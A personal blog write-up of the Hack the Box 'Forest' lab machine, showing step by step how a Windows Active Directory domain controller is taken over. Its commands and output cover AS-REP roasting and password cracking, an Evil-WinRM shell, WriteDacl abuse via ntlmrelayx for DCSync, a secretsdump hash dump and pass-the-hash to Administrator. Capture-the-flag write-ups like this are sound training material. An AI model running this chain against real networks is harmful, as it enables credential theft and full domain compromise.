Tuesday, March 31, 2020

Hack the Box - Forest

by Renato "shrimpgo" Pacheco

This is my first writeup from Hack the Box platform and my first experience with Windows machine, so I hope to learn writing this!

Every machine in the HTB begins with recon and I’ll use nmap to do this:

# nmap -sC -p0-65535 -Pn -sV --stats-every 10s -T4 10.10.10.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-05 21:52 -03
Nmap scan report for 10.10.10.161
Host is up (0.34s latency).
Not shown: 65512 closed ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-06 01:25:34Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49684/tcp open  msrpc        Microsoft Windows RPC
49695/tcp open  msrpc        Microsoft Windows RPC
49714/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/5%Time=5E3B690F%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h48m35s, deviation: 4h37m08s, median: 8m34s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2020-02-05T17:27:58-08:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-02-06T01:28:02
|_  start_date: 2020-02-06T01:00:35

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1737.28 seconds

There are a lot of information here. The main one is that the environment is running Active Directory (AD), because these available services (DNS, LDAP, Kerberos, SMB) and domain name detection (HTB.local). Others services are running (Windows Remote Management, .NET Framing) and they will be important later.

By trying to get more information about this domain, my attemps are enumerating users and shares using nmap again:

# nmap --script=smb-enum-users.nse -p 445 10.10.10.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-05 22:40 -03
Nmap scan report for 10.10.10.161
Host is up (0.18s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
|_smb-enum-users: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 4.91 seconds

But did not work! By using -d for debug:

# nmap -d --script=smb-enum-users -p 445 10.10.10.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-05 22:45 -03
--------------- Timing report ---------------
  hostgroups: min 1, max 100000
  rtt-timeouts: init 1000, min 100, max 10000
  max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
  parallelism: min 0, max 0
  max-retries: 10, host-timeout: 0
  min-rate: 0, max-rate: 0
---------------------------------------------
NSE: Using Lua 5.3.
NSE: Arguments from CLI: 
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 22:45
Completed NSE at 22:45, 0.00s elapsed
...
NSE: Script scanning 10.10.10.161.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 22:45
NSE: Starting smb-enum-users against 10.10.10.161.
NSE: [smb-enum-users 10.10.10.161] SMB: Added account '' to account list
NSE: [smb-enum-users 10.10.10.161] SMB: Added account 'guest' to account list
NSE: [smb-enum-users 10.10.10.161] SMB: Login as \guest failed (NT_STATUS_ACCOUNT_DISABLED)
NSE: smb-enum-users against 10.10.10.161 threw an error!
/usr/bin/../share/nmap/nselib/msrpctypes.lua:847: attempt to perform arithmetic on a nil value (local 'pos')
...

Ops! Guest user is disabled. After that, I had to find tools that enumerate users in AD and I found a tool called Impacket. That’s a great tool and it can exploit and get sensitive information from misconfigured ADs. By trying enumerate users:

# ./GetADUsers.py -dc-ip 10.10.10.161 htb.local/
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Querying 10.10.10.161 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
Administrator         [email protected]         2019-09-18 14:09:08.342879  2019-10-07 07:57:07.299606 
HealthMailbox0659cc1  [email protected]  2019-09-19 08:57:58.643994  <never>             
HealthMailbox670628e  [email protected]  2019-09-19 08:56:45.643993  <never>             
HealthMailbox6ded678  [email protected]  2019-09-19 08:57:06.597012  <never>             
HealthMailbox7108a4e  [email protected]  2019-09-19 08:57:48.253341  <never>             
HealthMailbox83d6781  [email protected]  2019-09-19 08:57:17.065809  <never>             
HealthMailbox968e74d  [email protected]  2019-09-19 08:56:56.143969  <never>             
HealthMailboxb01ac64  [email protected]  2019-09-19 08:57:37.878559  <never>             
HealthMailboxc0a90c9  [email protected]  2019-09-19 08:56:35.206329  <never>             
HealthMailboxc3d7722  [email protected]  2019-09-23 19:51:31.892097  2019-09-23 19:57:12.361516 
HealthMailboxfc9daad  [email protected]  2019-09-23 19:51:35.267114  2019-09-23 19:52:05.736012 
HealthMailboxfd87238  [email protected]  2019-09-19 08:57:27.487679  <never>

Nothing useful, but Impacket has so many resources and I’ll test one by one. By reading about how they work and what apply them, GetNPUsers.py is a script that attempt to list and get TGTs for those users that have the property “Do not require Kerberos preauthentication” set (UF_DONT_REQUIRE_PREAUTH). Let’s give a try:

# ./GetNPUsers.py -dc-ip 10.10.10.161 htb.local/
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

Name          MemberOf                                                PasswordLastSet             LastLogon                   UAC      
------------  ------------------------------------------------------  --------------------------  --------------------------  --------
svc-alfresco  CN=Service Accounts,OU=Security Groups,DC=htb,DC=local  2020-02-05 23:26:38.136449  2019-09-23 08:09:47.931194  0x410200

That’s a great finding! At the same script, it’s possible to get TGT hash, as says on script description: For those users with such configuration, a John The Ripper output will be generated so you can send it for cracking:

# ./GetNPUsers.py -request -dc-ip 10.10.10.161 htb.local/
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

Name          MemberOf                                                PasswordLastSet             LastLogon                   UAC      
------------  ------------------------------------------------------  --------------------------  --------------------------  --------
svc-alfresco  CN=Service Accounts,OU=Security Groups,DC=htb,DC=local  2020-02-05 23:28:45.168120  2019-09-23 08:09:47.931194  0x410200 



[email protected]:b209f696b2af4189bc9426b9fc884292$7905638a77acad9a9fe80cef26bfe35684fb0a9b4ebe3942f185580a7497ca927d6a762638fb02829337544e7a5fb5991f5281151fbbfef60533035243c3a816ee1c06c5ef5e6c582e61216fda28abf38dca1d77e7bf785dbacb799e864c39ea2a1b03a8ab45a7e0a81d554569513ff68e5a52e291b3fd026ada8f56f2b756239f8720e414a501b51c4bf78ad5ee28421034aa7bfddb4f640246ac86f20d14e2bfbe81d802c920869390d4b0a7c501d5d7b02239f6df8a84fe0f84e4270c74a65359988242945db4146c36449ba8a84e711fb919c7f1ba8c94048d5c993462a0095d907c34e8

Nice! Just use John The Ripper and the famous wordlist Rockyou to crack this hash (don’t forget to put this hash inside file called hash):

# john --format=krb5asrep hash --wordlist=../rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:12 24,27% (ETA: 17:37:33) 0g/s 302633p/s 302633c/s 302633C/s snipper71..snickers48
s3rvice          ([email protected])
1g 0:00:00:13 DONE (2019-12-05 17:36) 0.07235g/s 295641p/s 295641c/s 295641C/s s4552525..s3r1bu
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Thanks to my friend Jeremias to proving that my PC Gamer sucks! (He knows what I’m talking about… LOL!)

Now I got a valid user! But how can I get a shell? Firsty, I looked for shares and what permissions this user had, but it not worked. I’ve tried others tools from Impacket and nothing useful in this case. Because I was stucked, I’ve came back from my notes and review all of enumeration. Nmap found a open port 5985/tcp, a WinRM service. A little green bird tells me a tool called Evil-WinRM, that I give a try. Ok, then:

# evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

Evil-WinRM shell v2.1

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>

WOW! This tool is awesome! It’s easy to get user.txt…

After I submited user’s flag, now I’ve stucked again, because I’m not expert in Windows machines. My friend Leonardo helped me out to start enumerating Active Directory and Forest machine with a tool called Bloodhound. It works collecting permissions and relationship with users, groups, machines and domains, building a visual graphic to facilitate the analysis. So first I downloaded a data collector called bloodhound.py and imported into BloodHound. I won’t show how to install these tools to not extend this writeup so much.

By running bloodhound.py with svc-alfresco credential:

# ./bloodhound.py -u svc-alfresco -p s3rvice -d htb.local -ns 10.10.10.161 -c all
INFO: Found AD domain: htb.local
INFO: Connecting to LDAP server: FOREST.htb.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: FOREST.htb.local
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
INFO: Found 31 users
INFO: Found 72 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FOREST.htb.local
INFO: Querying computer: EXCH01.htb.local
INFO: Done in 00M 37S

Bloodhound.py script created several files in JSON format. I’ve imported these files in Bloodhound and I used a default filter available in tool, called Shortest Paths to High Value Targets, to draw me relationships between users, groups and permissions about each one.

figure 1

This graphic (Figure 2) allowed me to see that user svc-alfresco has some interesting permissions, like create other user (but without privilege permissions) and adding someone to groups. Thanks to Service Account group that svc-alfresco belongs to. Note WriteDacl highlighted. I’ll explain this later.

figure 2

To avoiding another graphic to show what group svc-alfresco belongs to, I prefer ran the command below to ensure this:

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> import-module activedirectory
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> get-aduser -identity svc-alfresco -properties memberof


DistinguishedName : CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
Enabled           : True
GivenName         : svc-alfresco
MemberOf          : {CN=Service Accounts,OU=Security Groups,DC=htb,DC=local}
Name              : svc-alfresco
ObjectClass       : user
ObjectGUID        : 58a51302-4c7c-4686-9502-d3ada3afaef1
SamAccountName    : svc-alfresco
SID               : S-1-5-21-3072663084-364016917-1341370565-1147
Surname           :
UserPrincipalName : [email protected]

I’ve made some tests with svc-alfresco user. I noted that I can create new users, add them in some groups (not administrators groups), but I couldn’t go so far and I stucked again.

Talking about my frustrations with my friend @dapolinario, he told me to look forward about AD ACL privilegies and, specifically, WriteDacl. ADSecurity says: Provides the ability to modify security on an object which can lead to Full Control of the object. Later, he sent me this. At first glance, I even thought to understand what I’m doing and just reproduced what I’ve received from @dapolinario and I used ntlmrelayx mode to escalate privilege. I’m going to show how I did it and how it works (after searching why what I did before worked).

Remember WriteDacl highlighted in figure 2? Can you see what group has this permission? Exchange Windows Permissions. OK, I had 2 choices:

  • Add svc-alfresco user into Exchange Windows Permissions
  • Create a new user and add him into Exchange Windows Permissions

I chose the first one, but it’s up to you, whatever, but I’m not add him into group yet, see later why.

Now I’m going to run ntlmrelayx, but what do it do? According with this blog, it says: allows for domain enumeration and escalation to Domain Admin by adding a new user to the Directory.(…) This takes into account all the groups the relayed account is a member of (including recursive group memberships). Once the privileges are enumerated, ntlmrelayx will check if the user has high enough privileges to allow for a privilege escalation of either a new or an existing user..

# ./ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user svc-alfresco
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server

[*] Servers started, waiting for connections
[*] Setting up HTTP Server

ntlmrelayx.py opens a HTTP Server on port 80 and waits some credentials to start enumerations. Before authenticate, it’s necessary first add svc-alfresco into Exchange Windows Permissions and authenticate into HTTP Server by ntlmrelayx.py.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" svc-alfresco /add /domain
The command completed successfully.

By using your favorite browser, access http://localhost/ and use svc-alfresco’s credentials to authenticate. Looking at terminal:

[*] HTTPD: Received connection from 127.0.0.1, attacking target ldap://10.10.10.161
[*] HTTPD: Client requested path: /
[*] HTTPD: Client requested path: /
[*] HTTPD: Client requested path: /
[*] Authenticating against ldap://10.10.10.161 as \svc-alfresco SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] HTTPD: Received connection from 127.0.0.1, attacking target ldap://10.10.10.161
[*] HTTPD: Client requested path: /favicon.ico
[-] Exception in HTTP request handler: [Errno 32] Broken pipe
[-] [Errno 32] Broken pipe
[*] User privileges found: Create user
[*] User privileges found: Modifying domain ACL
[*] Querying domain security descriptor
[*] Success! User svc-alfresco now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20200219-191634.restore

Now it’s possible using DCSync with secretsdump.py with this user and gets all of user’s hashes:

# ./secretsdump.py htb.local/svc-alfresco:[email protected] -just-dc-ntlm
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

The coolest thing is: you don’t need to crack Administrator password to get the shell. It’s possible using Evil-WinRM tool only passing hash:

# evil-winrm -i 10.10.10.161 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6 10.10.10.161

Evil-WinRM shell v2.1

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator

That’s it! I hope this writeup don’t be so confuse and I like to thanks to my friends that help me out with this machine.

Hack the Box , Pentest , Writeup